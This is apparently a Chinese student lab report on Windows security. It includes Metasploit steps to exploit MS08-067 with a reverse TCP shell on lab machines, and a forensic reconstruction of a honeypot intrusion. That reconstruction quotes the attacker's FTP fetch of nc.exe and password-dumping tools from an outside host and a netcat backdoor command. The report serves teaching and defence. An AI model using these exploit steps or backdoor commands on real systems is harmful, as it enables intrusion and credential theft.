一、实践内容
1.1 Windows系统结构
Windows 采用了双模式结构来保护操作系统本身。操作系统核心运行在内核模式,应用程序的代码运行在用户模式下。每当应用程序需要用到系统内核或内核的扩展模块(内核驱动程序)所提供的服务时,应用程序通过硬件指令从用户模式切换到内核模式中;当系统内核完成了所请求的服务以后,控制权又回到用户模式代码。
1.2 Windows内核结构
Windows内核分为三层,硬件抽象层(Hardware Abstraction Layer ,简称HAL), HAL之上是内核层,有时候也称为微内核,在内核层之上则是执行体(executive)层。
硬件抽象层的用意是把所有与硬件相关联的代码逻辑隔离到一个专门的模块中,从而使上面的层次可能做到独立于硬件平台。
内核层和执行层的分工是,内核层实现操作系统的基本机制,而所有的策略决定则留个执行体。
Windows 内核的组成结构,如图:
1.3 Windows操作系统的安全系统
1、Windows安全体系结构
Windows操作系统基千引用监控器模型(Reference Monitor)来实现基本的对象安全模型,最关键的是位于内核的SRM(Security Reference Monitor)安全引用监控器,以及位于用户态的LSASS(Local Security Authority Subsystem Service)安全服务,他们与Winlogon/Netlogon及Eventlog等服务一起实现了对主体用户的身份认证机制、对所有资源对象的访问控制机制,以及对访问的安全审计机制。
2、Windows身份认证机制
Windows以安全主体的概念来包含所有进行资源访问请求的实体对象,包括用户、用户组和计算机三大类。对每个主体,有唯一SID来标识。Windows为每个用户和计算机设置账户进行管理,账户的根本作用是限制账户内运行的程序对系统资源的访问。用户组是为了简化管理引入的用户账户容器,通过将用户加入用户组,可以使用户拥有用户组的全部权限。Windows账户的口令经过hash后保存在SAM(Security Accounts Manager)文件或活动目录AD中。Winlogon进程、GINA图形化登录窗口与LSASS(Local Security Authority Service)服务协作完成本地身份认证过程。
3、Windows授权与访问控制机制
在安全主体通过认证之后,Windows会给用户一个包含了安全主体SID的访问令牌。用户在启动进程的时候,进程在他的控制块中也会有一个集成账户安全令牌的所有访问权限的安全令牌。对于需要保护的资源,windows会将其抽象成对象,每个对象都会关联一个SD安全描述符。
一个安全描述符包括:对象所有者的SID标识符、对象所在的用户组的SID标识符、自主访问控制列表、系统审计访问控制列表。
4、Windows远程安全攻防技术
(1) 远程口令猜测和破解攻击攻击Windows网络服务:关闭易受攻击的网络服务、配置防火墙、使用更安全的协议、使用强口令
(2)网络服务远程渗透攻击:打补丁、实施攻击缓解配置、利用安全核对清单对服务进行配置、安全增强插件、及时修复漏洞
(3)攻击windows客户端和用户:使用安全的软件、及时更新软件
1.4 Metasploit基础教程
1、Metasploit的整体架构
2、Metasploit的相关模块介绍
3、Metasploit常用命令介绍
1.5 Windows本地安全攻防技术
1、Windows本地安全攻防技术
(1)Windows本地提权:在攻击者获得了widows的一定的权限之后,他们会尝试获得最高的权限。本地提权攻击都是利用系统的各种漏洞,所以针对本地提权攻击,最好的办法就是即使打好各种补丁。
(2)Windows敏感信息窃取:
①Windows系统口令字密文提取:在攻入windows之后,攻击者就有可能获得关键信息的密文文件。
②Windows系统口令字破解:在获得密文文件之后,自然就是要对密文进行解密。
③防范措施:使用安全度高、能抵挡破解的口令
(3)Windows消灭踪迹
①主要手段包括:关闭审计功能、清理事件日志。
②防范措施:实现配置好系统审计和网络服务审计功能,并将日志传输到安全服务器中。
(4)远程控制与后门
①主要手段包括:向受控主机中植入第三方的远程控制与后门程序,主要包含命令行远程控制程序和图形化远程控制程序。
②防范措施:采用一些后门检测软件来尝试发现攻击者隐藏的后门程序。
1.6 Windows的网络机制
二、实践过程
(1)动手实践Metasploit windows attacker
任务:使用metasploit软件进行Windows远程渗透统计实验
具体任务内容:使用Windows Attacker/BT4攻击机尝试对Windows
Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权(2)取证分析实践:解码一次成功的NT系统破解攻击。
来自212.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),要求提取并分析攻击的全部过程。
攻击者使用了什么破解工具进行攻击
攻击者如何使用这个破解工具进入并控制了系统
攻击者获得系统访问权限后做了什么
我们如何防止这样的攻击
你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么(3)团队对抗实践:windows系统远程渗透攻击和分析。
攻方使用metasploit选择漏洞进行攻击,获得控制权。(要求写出攻击方的同学信息、使用漏洞、相关IP地址等)
防守方使用wireshark监听获得的网络数据包,分析攻击过程,获取相关信息。
2.1 实践Metasploit windows attacker
1、首先在kali打开metasploit,输入msfconsole
,回车后就会进入到他的控制台界面。
2、然后先使用 search ms08_067
搜索一下ms08_067漏洞,搜索结果如下图。这是针对这个漏洞的渗透攻击模块。
3、然后使用 use exploit/windows/smb/ms08_067_netapi
和 show payloads
看路径可以知道这是一个可用于渗透攻击的。
4、输入 set payload generic/shell_reverse_tcp
设置攻击的载荷为tcp的反向连接。然后输入 show options
,展示渗透攻击需要设置的参数。
5、输入 show targets
展示可渗透攻击的靶机的操作系统及版本
6、输入 set LHOST 192.168.200.6
设置渗透攻击的主机是kali。输入set RHOST 192.168.200.124
设置渗透攻击的靶机IP。
7、输入 exploit
开始渗透攻击
8、在kali上执行 ipconfig/all
得到如下图所示,查询到了靶机的IP。
2.2 取证分析实践:解码一次成功的NT系统破解攻击
1、用wireshark打开学习通上的.log文件,会看到非常多报文。发现里面有可识别的http协议内容、可识别的sql代码内容,可识别的系统操作代码内容和不可识别的二进制内容。根据题目先进行一下筛选ip.dst ==172.16.1.106 and http
。
2、右键选择追踪流—>TCP流,跟踪一个数据包的cpu数据流,找到特殊字符%C0%AF
。查询百度可知,发现【%C0%AF】为Unicode编码,由此判断攻击者进行了Unicode攻击以打开boot.ini文件。因此存在Unicode漏洞攻击。
3、继续跟踪数据流,发现有shell语句和"ADM!ROX!YOUR!WORLD"
4、百度可知,这是RDS漏洞。将这些shell代码整理出来,并进行分析(下图来自视频实践2)。
从这些shell语句中可以看到攻击者使用IIS Unicode漏洞进入靶机之后,利用其msadcs.dall中的RDS漏洞允许任意代码执行的缺陷进行以下操作:其中第一、二段的ftpcom可知攻击机打开213.116.251.162的主机后,使用FTP的方式下载文件,其中篇dump.exe和samdump.dll是配合使用破解口令的,使用samdump.dll拿到口令后再用pdump.exe进行破解。
以上图可以看出,sasfile为高效读入数据的方式,,nc.exe文件是一个远程入侵的后门程序,便于下次攻击。
5、接下来使用 http.request.uri contains "msadc"
进行筛选,可以看到攻击机成功上传了工具。
6、筛选ftp连接,发现直到编号1106连接成功的。
7、追踪TCP流,可以看出:攻击者通过创建了ftpcom脚本,使用ftp连接www.nether.net,并以johna2k为用户haxedj00为密码下载 nc.exe、pdump.exe和samdump.dll。
8、在下载完文件之后,查看到 1233 号数据包,攻击者执行了这样一条命令:cmd1.exe /c nc -l -p 6969 -e cmd1.exe。表示攻击者连接了6969端口,并且获得了访问权限。
9、继续查看http数据流,可以看到删除了http的文件,猜测攻击者准备溜走。
10、查看tcp数据流时,发现其是蜜罐攻击。攻击者警觉了他的目标是一台蜜罐主机,攻击者写了这是他见过的最好的蜜罐。
如何防止这样的攻击:
(1)直接防御措施:打补丁
(2)进一步防御措施:禁用用不着的RDS等服务;防火墙封禁网络内部服务器发起的连接;为web server在单独的文件卷上设置虚拟根目录;使用NTFS文件系统,因为FAT几乎不提供安全功能;使用IIS Lockdown 和URLScan 等工具加强web server。
2.3 团队对抗实践:Windows系统远程渗透攻击和分析
在进行这部分实验的时候,要更改配置为桥接模式。
攻击:攻方使用metasploit选择漏洞进行攻击,获得控制权。
攻击机:192.168.11.166 (武佳卉 1905)
靶机:192.168.11.110(武佳卉 1905)
可以看到靶机里生成相应的文件,渗透成功。
攻击机:192.168.11.18 (王庆楠 1908)
靶机:192.168.11.110(武佳卉 1905)
可以看到我的靶机里生成相应的文件,渗透成功。
我作为防守方使用wireshark监听获得的网络数据包,分析攻击过程,获取相关信息。
在靶机上下载了wireshark,然后打开监听模式,同学使用攻击机kali:192.168.11.18攻击我的win靶机:192.168.11.110
三、学习中遇到的问题及解决
1、问题:在进行攻方实验的时候,一直攻击不成功。
解决方法:没有执行 set payload generic/shell_reverse_tcp
这条命令。
2、在守方实验的时候,下载的wireshark版本过高,最后下载1.0版本才成功。
四、学习感想和体会
本次实验比较简单,前两部分很顺利做完了,第三部分耗费了一些时间。自己对于实验所涉及的基础内容掌握不多,在实验过程中通过阅读老师分享及自己上网查询的的资料,学会了Metasploit的基础使用,并且对window系统结构、内核结构、系统漏洞及本地安全攻防技术有了一定了解。今后在实验时一定要严格按照步骤执行,不能偷懒,还要多加学习弥补自己在基础知识方面的不足。
五、参考资料
https://blog.csdn.net/maomao171314/article/details/110825699
https://www.cnblogs.com/ql5199/p/16158263.html